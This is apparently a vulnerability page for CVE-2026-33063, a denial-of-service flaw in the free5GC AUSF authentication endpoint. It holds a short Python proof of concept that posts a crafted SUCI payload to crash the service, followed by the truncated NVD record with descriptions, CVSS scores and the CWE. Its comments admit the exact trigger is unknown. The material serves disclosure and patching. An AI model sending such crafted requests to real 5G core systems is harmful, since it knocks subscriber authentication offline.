CVE-2026-33063

import requests # Conceptual PoC for CVE-2026-33063 # Target: free5GC AUSF < 1.4.2 # Endpoint: /nausf-auth/v1/ue-authentications # Description: Sending a crafted request that triggers nil interface conversion. target_url = "http://target-ip:8000/nausf-auth/v1/ue-authentications" # The specific JSON structure to trigger the nil map depends on internal logic. # Typically involves sending a malformed SUCI (Subscription Concealed Identifier) # or specific payload that causes the map lookup to fail and return nil. payload = { "suci": "suci-0-001-01-0000-0-0-00", "additional_data": {} } try: response = requests.post(target_url, json=payload) # If the exploit is successful, the server will panic and the connection may reset or return a 500 error print(f"Status Code: {response.status_code}") print("Response: {}".format(response.text)) except Exception as e: print(f"Request failed or server crashed: {e}")

{"cve": {"id": "CVE-2026-33063", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:16:01.260", "lastModified": "2026-03-27T17:06:55.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "free5GC is an open source 5G core network. free5GC AUSF prior to version 1.4.2 has is an Improper Null Check vulnerability leading to Denial of Service. All deployments of free5GC v4.0.1 using the AUSF UE authentication service (`/nausf-auth/v1/ue-authentications` endpoint) are affected. A remote attacker can cause the AUSF service to panic and crash by sending a crafted UE authentication request that triggers a nil interface conversion in the `GetSupiFromSuciSupiMap` function. This results in complete denial of service for the AUSF authentication service. The `GetSupiFromSuciSupiMap` function attempts to perform an interface conversion from `interface{}` to `*context.SuciSupiMap` without checking if the underlying value is nil. When `SuciSupiMap` is nil, the code panics with \"interface conversion: interface {} is nil, not *context.SuciSupiMap\". free5GC AUSF version 1.4.2 patches the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the AUSF API to trusted sources only."}, {"lang": "es", "value": "free5GC es una red central 5G de código abierto. free5GC AUSF anterior a la versión 1.4.2 tiene una vulnerabilidad de verificación de nulos incorrecta que conduce a la denegación de servicio. Todas las implementaciones de free5GC v4.0.1 que utilizan el servicio de autenticación de UE de AUSF (el endpoint '/nausf-auth/v1/ue-authentications') están afectadas. Un atacante remoto puede causar que el servicio AUSF entre en pánico y falle al enviar una solicitud de autenticación de UE manipulada que activa una conversión de interfaz nula en la función 'GetSupiFromSuciSupiMap'. Esto resulta en una denegación de servicio completa para el servicio de autenticación de AUSF. La función 'GetSupiFromSuciSupiMap' intenta realizar una conversión de interfaz de 'interface{}' a '*context.SuciSupiMap' sin verificar si el valor subyacente es nulo. Cuando 'SuciSupiMap' es nulo, el código entra en pánico con 'interface conversion: interface {} is nil, not *context.SuciSupiMap'. free5GC AUSF versión 1.4.2 parchea el problema. No hay una solución alternativa directa a nivel de aplicación. La recomendación es aplicar el parche proporcionado o restringir el acceso a la API de AUSF solo a fuentes confiables."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "F7D53A8E-777B-4DD7-898E-7EE90ED6D37A"}]}]}], "reference ... (truncated)